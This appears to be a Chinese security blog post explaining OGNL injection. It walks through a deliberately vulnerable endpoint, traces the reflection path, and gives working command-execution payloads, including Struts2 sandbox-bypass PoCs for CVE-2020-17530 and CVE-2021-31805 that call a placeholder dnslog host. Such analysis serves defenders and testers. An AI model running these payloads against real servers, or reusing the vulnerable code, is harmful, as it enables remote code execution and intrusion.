介绍:
OGNL是Object Graphic Navigation Language(对象图导航语言)的缩写,一个开源项目。Struts框架使用OGNL作为默认的表达式语言。
OGNL最重要的点三要素,也就是OGNL需要的三个参数:
表达式(Expression):
表达式是整个OGNL的核心,所有的OGNL操作都是针对表达式的解析后进行的。表达式会规定此次OGNL操作到底要干什么。因此,表达式其实是一个带有语法含义的字符串,这个字符串将规定操作的类型和操作的内容。 OGNL支持大量的表达式语法,不仅支持“链式”描述对象访问路径,还支持在表达式中进行简单的计算,甚至还能够支持复杂的Lambda表达式等。我们可以在接下来的章节中看到各种各样不同的OGNL表达式。
Root对象(Root Object):
OGNL的Root对象可以理解为OGNL的操作对象。当OGNL表达式规定了“干什么”以后,我们还需要指定对谁干。OGNL的Root对象实际上是一个Java对象,是所有OGNL操作的实际载体。这就意味着,如果我们有一个OGNL的表达式,那么我们实际上需要针对Root对象去进行OGNL表达式的计算并返回结果。
上下文环境(Context):
有了表达式和Root对象,我们已经可以使用OGNL的基本功能。例如,根据表达式针对OGNL中的Root对象进行“取值”或者“写值”操作。不过,事实上,在OGNL的内部,所有的操作都会在一个特定的数据环境中运行,这个数据环境就是OGNL的上下文环境(Context)。说得再明白一些,就是这个上下文环境(Context)将规定OGNL的操作在哪里干。 OGNL的上下文环境是一个Map结构,称之为OgnlContext。之前我们所提到的Root对象(Root Object),事实上也会被添加到上下文环境中去,并且将被作为一个特殊的变量进行处理。
OGNL基础知识:
OGNL与EL 的区别:
-
OGNL
表达式是Struts2
的默认表达式语言, 所以只针对Struts2
标签有效; 然而EL
在HTML
中也可以使用. -
Struts2
标签用的都是OGNL
表达式语言, 所以它多数都是去值栈的栈顶找值, 找不到再去作用域; 相反,EL
都是去Map
集合作用域中找.
OGNL语法:
通过.
获取对象的属性或方法
user user.name
静态对象、静态方法和静态变量:@
@java.lang.System@getProperty("user.dir")
非原生类型对象:#
#user #user.name
简单对象:直接获取:
"string".lenth true
%
符号的用途是在标志的属性为字符串类型时,告诉执行环境%{}里的是OGNL表达式并计算表达式的值
%{999+1} %{#request.cn}
$
在配置文件中引用OGNL表达式。
new
创建实例:
new java.lang.String("testnew")
在OGNL中,可以用{}
或者它的组合来创建列表、数组和map,[]
可以获取下标元素。
创建数组:new type[]{value1,value2...}
new int[]{1,3,5}[0]
解析OGNL的api:
类名 | 方法名 |
---|---|
com.opensymphony.xwork2.util.TextParseUtil | translateVariables, translateVariablesCollection |
com.opensymphony.xwork2.util.TextParser | evaluate |
com.opensymphony.xwork2.util.OgnlTextParser | evaluate |
com.opensymphony.xwork2.ognl.OgnlUtil | setProperties, setProperty, setValue, getValue, callMethod, compile |
org.apache.struts2.util.VelocityStrutsUtil | evaluate |
org.apache.struts2.util.StrutsUtil | isTrue, findString, findValue, getText, translateVariables, makeSelectList |
org.apache.struts2.views.jsp.ui.OgnlTool | findValue |
com.opensymphony.xwork2.util.ValueStack | findString, findValue, setValue, setParameter |
com.opensymphony.xwork2.ognl.OgnlValueStack | findString, findValue, setValue, setParameter, trySetValue |
ognl.Ognl | parseExpression, getValue, setValue |
漏洞分析:
首先先编写测试代码,需要在pom.xml中添加ognl库:
<dependency>
<groupId>ognl</groupId>
<artifactId>ognl</artifactId>
<version>3.0.9</version>
</dependency>
添加代码:
@RequestMapping(value = "/ognltest.do",method = RequestMethod.GET)
public ModelAndView ognltest(@RequestParam("ognl") String spel) throws IOException, OgnlException {
//创建一个上下文对象
OgnlContext context = new OgnlContext();
//getValue触发漏洞
Ognl.getValue(spel, context, context.getRoot());
//setValue触发漏洞
//Ognl.setValue("@java.lang.Runtime@getRuntime().exec('calc')", context, context.getRoot());
ModelAndView mv = new ModelAndView();
//mv.addObject("spel", exp.getValue());
mv.setViewName("testspel");
return mv;
}
使用getValue和setValue均可触发漏洞,使用如下两种任意poc即可弹出计算器:
@java.lang.Runtime@getRuntime().exec('calc') new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/c';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);")
添加断点查看堆栈,可以看到执行了如下函数:
首先调用parseExpression方法将String
类型的字符串解析为OGNL
表达式能理解的ASTChain
类型 :
解析转换后变为类和方法两个数组,其中主要使用ASTStaticMethod处理@java.lang.Runtime@getRuntime(),使用ASTMethod处理exec('calc'):
然后调用ASTChain类的getValueBody方法获取调用类:
内部主要通过ASTStaticMethod类的getValueBody方法通过反射获取类:
然后调用ASTMethod类的getValueBody获取反射方法和方法参数:
最后调用OgnlRuntime类的invokeMethod方法反射执行:
其逻辑也很清楚主要将整个OGNL
表达式按照语法树分为几个子节点树, 然后循环遍历解析各个子节点树上的OGNL
表达式, 其中通过Method.invoke
即反射的方式实现任意类方法调用。其中ASTStaticMethod负责获取反射类ASTMethod负责获取方法和参数,最后通过invokeMethod反射执行。
利用方式:
执行命令:
@java.lang.Runtime@getRuntime().exec('calc') new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/c';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);")
获取路径:
@java.lang.System@getProperty("user.dir")
CVE分析:
大概搜索了以下OGNL漏洞,提交的发现主要存在于struct2和Confluence,因为默认使用OGNL作为 表达式语言,这里我们找几个进行分析:
CVE-2020-17530:
先看poc:
%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))}
为何主要执行代码在最后,却要先执行前面一堆代码,这是因为在struct2中会要执行的OGNL语句进行安全过滤,SecurityMemberAccess::isAccessible方法对包和类进行了过滤:
如下19种包不允许被加载,如果直接%{#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'})}:也会被拦截:
如下9种类不允许被加载,当打算通过@java.lang.Runtime@getRuntime()执行命令方法失效:
所以要想成功执行命令需要将这些内容置空,主要利用了org.apache.commons.collections.BeanMap的如下方法:
Object get("xxxx") 实际相当于调用内部对象的getXxx,比如getName() Object put("xxxx",Object) 实际相当于调用内部对象的,setXxxx,比如setName() void setBean(Object) 重新设置内部对象,设置完成后上面两个才能生效 Object getBean() 获取内部对象,这里可以在断点的时候查看到当前map中的实际对象
具体做法为通过org.apache.commons.collections.BeanMap设置struts.valueStack,context和memberAccess然后调用put方法将excludedClasses和excludedPackageNames重新设置为空,即可绕过检查:
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'ping xxx.dnslog.xx'}))
设置完成后,可以成功通过freemarker模板执行命令:
另外后续的CVE-2021-31805也是因为过滤不全导致的绕过,poc如下:
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'ping xxx.dnslog.xx'}))
总结:
OGNL注入原理和el和spel注入类似,只是在OGNL默认为struct2的表达式语言而且Confluence也大量运用了该表达式语言,所以当开发者使用该两种框架时就有可能被OGNL注入风险,并且对利用方式上虽然已经封了很多方法和类,但是还是可能找到绕过方法,只要能将其黑名单置空即可绕过检测,所以struct2还是存在很多风险,我们测试是否存在漏洞只要符合对应表达式语言语法即可。